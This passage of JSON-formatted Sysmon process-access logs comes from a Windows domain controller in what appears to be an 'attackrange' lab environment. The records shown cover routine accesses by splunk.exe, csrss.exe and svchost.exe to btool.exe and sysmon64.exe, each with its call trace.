Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+13671|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+181c6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","SourceProcessId":"4072","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-00101A310300}","TargetProcessId":"3596","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+13671|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+181c6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1843,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-00101A310300}\r\nTargetProcessId: 3596\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-00101A310300}","TargetProcessId":"3596","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1844,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1845,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1846,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1847,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1848,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1849,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1850,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM